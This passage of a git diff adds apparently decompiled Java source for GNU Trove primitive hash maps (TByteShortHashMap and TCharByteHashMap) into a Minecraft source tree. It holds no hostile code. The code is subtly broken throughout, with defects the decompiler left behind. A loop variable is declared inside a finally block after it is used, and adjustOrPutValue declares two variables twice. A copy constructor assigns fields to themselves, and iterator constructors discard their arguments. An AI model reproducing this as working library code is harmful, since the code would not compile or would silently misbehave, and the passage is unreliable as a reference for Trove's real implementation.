+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        byte o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public short put(byte key, short value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public short putIfAbsent(byte key, short value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private short doPut(byte key, short value, int index)
+  {
+    short previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Byte, ? extends Short> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Byte, ? extends Short> entry : map.entrySet()) {
+      put(((Byte)entry.getKey()).byteValue(), ((Short)entry.getValue()).shortValue());
+    }
+  }
+  
+
+  public void putAll(TByteShortMap map)
+  {
+    ensureCapacity(map.size());
+    TByteShortIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public short get(byte key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public short remove(byte key)
+  {
+    short prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TByteSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public byte[] keys()
+  {
+    byte[] keys = new byte[size()];
+    byte[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public byte[] keys(byte[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new byte[size];
+    }
+    
+    byte[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TShortCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public short[] values()
+  {
+    short[] vals = new short[size()];
+    short[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public short[] values(short[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new short[size];
+    }
+    
+    short[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(short val)
+  {
+    byte[] states = _states;
+    short[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(byte key)
+  {
+    return contains(key);
+  }
+  
+
+  public TByteShortIterator iterator()
+  {
+    return new TByteShortHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TByteProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TShortProcedure procedure)
+  {
+    byte[] states = _states;
+    short[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TByteShortProcedure procedure)
+  {
+    byte[] states = _states;
+    byte[] keys = _set;
+    short[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TShortFunction function)
+  {
+    byte[] states = _states;
+    short[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TByteShortProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    byte[] keys = _set;
+    short[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(byte key)
+  {
+    return adjustValue(key, (short)1);
+  }
+  
+
+  public boolean adjustValue(byte key, short amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp17_16 = index; short[] tmp17_13 = _values;tmp17_13[tmp17_16] = ((short)(tmp17_13[tmp17_16] + amount));
+    return true;
+  }
+  
+
+
+  public short adjustOrPutValue(byte key, short adjust_amount, short put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    short newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; short[] tmp25_20 = _values;short newValue = tmp25_20[tmp25_23] = (short)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TByteSet
+  {
+    protected TKeyView() {}
+    
+    public TByteIterator iterator()
+    {
+      return new TByteShortHashMap.TByteShortKeyHashIterator(TByteShortHashMap.this, TByteShortHashMap.this);
+    }
+    
+
+    public byte getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(byte entry)
+    {
+      return TByteShortHashMap.this.contains(entry);
+    }
+    
+
+    public byte[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public byte[] toArray(byte[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(byte entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(byte entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte ele = ((Byte)element).byteValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TByteCollection collection)
+    {
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(byte[] array)
+    {
+      for (byte element : array) {
+        if (!TByteShortHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Byte> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TByteCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(byte[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Byte.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(byte[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      byte[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte c = ((Byte)element).byteValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        byte element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(byte[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TByteShortHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TByteProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TByteSet)) {
+        return false;
+      }
+      TByteSet that = (TByteSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TByteProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(byte key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TShortCollection
+  {
+    protected TValueView() {}
+    
+    public TShortIterator iterator()
+    {
+      return new TByteShortHashMap.TByteShortValueHashIterator(TByteShortHashMap.this, TByteShortHashMap.this);
+    }
+    
+
+    public short getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(short entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public short[] toArray()
+    {
+      return values();
+    }
+    
+
+    public short[] toArray(short[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(short entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(short entry)
+    {
+      short[] values = _values;
+      byte[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != 2) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short ele = ((Short)element).shortValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TShortCollection collection)
+    {
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(short[] array)
+    {
+      for (short element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Short> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TShortCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(short[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Short.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(short[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      short[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short c = ((Short)element).shortValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        short element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(short[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TByteShortHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TShortProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TShortProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(short value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TByteShortKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TByteIterator
+  {
+    TByteShortKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public byte next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TByteShortValueHashIterator
+    extends THashPrimitiveIterator
+    implements TShortIterator
+  {
+    TByteShortValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public short next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TByteShortHashIterator
+    extends THashPrimitiveIterator
+    implements TByteShortIterator
+  {
+    TByteShortHashIterator(TByteShortHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public byte key()
+    {
+      return _set[_index];
+    }
+    
+    public short value()
+    {
+      return _values[_index];
+    }
+    
+    public short setValue(short val)
+    {
+      short old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TByteShortMap)) {
+      return false;
+    }
+    TByteShortMap that = (TByteShortMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    short[] values = _values;
+    byte[] states = _states;
+    short this_no_entry_value = getNoEntryValue();
+    short that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        byte key = _set[i];
+        short that_value = that.get(key);
+        short this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TByteShortProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(byte key, short value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeByte(_set[i]);
+        out.writeShort(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      byte key = in.readByte();
+      short val = in.readShort();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TCharByteHashMap.java b/src/minecraft/gnu/trove/map/hash/TCharByteHashMap.java
new file mode 100644
index 0000000..35eee01
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TCharByteHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.TCharCollection;
+import gnu.trove.function.TByteFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TCharByteHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TByteIterator;
+import gnu.trove.iterator.TCharByteIterator;
+import gnu.trove.iterator.TCharIterator;
+import gnu.trove.map.TCharByteMap;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TCharByteProcedure;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.set.TCharSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TCharByteHashMap
+  extends TCharByteHash
+  implements TCharByteMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient byte[] _values;
+  
+  public TCharByteHashMap() {}
+  
+  public TCharByteHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TCharByteHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TCharByteHashMap(int initialCapacity, float loadFactor, char noEntryKey, byte noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TCharByteHashMap(char[] keys, byte[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TCharByteHashMap(TCharByteMap map)
+  {
+    super(map.size());
+    if ((map instanceof TCharByteHashMap)) {
+      TCharByteHashMap hashmap = (TCharByteHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new byte[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    char[] oldKeys = _set;
+    byte[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new char[newCapacity];
+    _values = new byte[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        char o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public byte put(char key, byte value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public byte putIfAbsent(char key, byte value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private byte doPut(char key, byte value, int index)
+  {
+    byte previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Character, ? extends Byte> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Character, ? extends Byte> entry : map.entrySet()) {
+      put(((Character)entry.getKey()).charValue(), ((Byte)entry.getValue()).byteValue());
+    }
+  }
+  
+
+  public void putAll(TCharByteMap map)
+  {
+    ensureCapacity(map.size());
+    TCharByteIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public byte get(char key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public byte remove(char key)
+  {
+    byte prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TCharSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public char[] keys()
+  {
+    char[] keys = new char[size()];
+    char[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public char[] keys(char[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new char[size];
+    }
+    
+    char[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TByteCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public byte[] values()
+  {
+    byte[] vals = new byte[size()];
+    byte[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public byte[] values(byte[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new byte[size];
+    }
+    
+    byte[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(byte val)
+  {
+    byte[] states = _states;
+    byte[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(char key)
+  {
+    return contains(key);
+  }
+  
+
+  public TCharByteIterator iterator()
+  {
+    return new TCharByteHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TCharProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TByteProcedure procedure)
+  {
+    byte[] states = _states;
+    byte[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TCharByteProcedure procedure)
+  {
+    byte[] states = _states;
+    char[] keys = _set;
+    byte[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TByteFunction function)
+  {
+    byte[] states = _states;
+    byte[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TCharByteProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    char[] keys = _set;
+    byte[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(char key)
+  {
+    return adjustValue(key, (byte)1);
+  }
+  
+
+  public boolean adjustValue(char key, byte amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp17_16 = index; byte[] tmp17_13 = _values;tmp17_13[tmp17_16] = ((byte)(tmp17_13[tmp17_16] + amount));
+    return true;
+  }
+  
+
+
+  public byte adjustOrPutValue(char key, byte adjust_amount, byte put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    byte newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; byte[] tmp25_20 = _values;byte newValue = tmp25_20[tmp25_23] = (byte)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TCharSet
+  {
+    protected TKeyView() {}
+    
+    public TCharIterator iterator()
+    {
+      return new TCharByteHashMap.TCharByteKeyHashIterator(TCharByteHashMap.this, TCharByteHashMap.this);
+    }
+    
+
+    public char getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(char entry)
+    {
+      return TCharByteHashMap.this.contains(entry);
+    }
+    
+
+    public char[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public char[] toArray(char[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(char entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(char entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char ele = ((Character)element).charValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
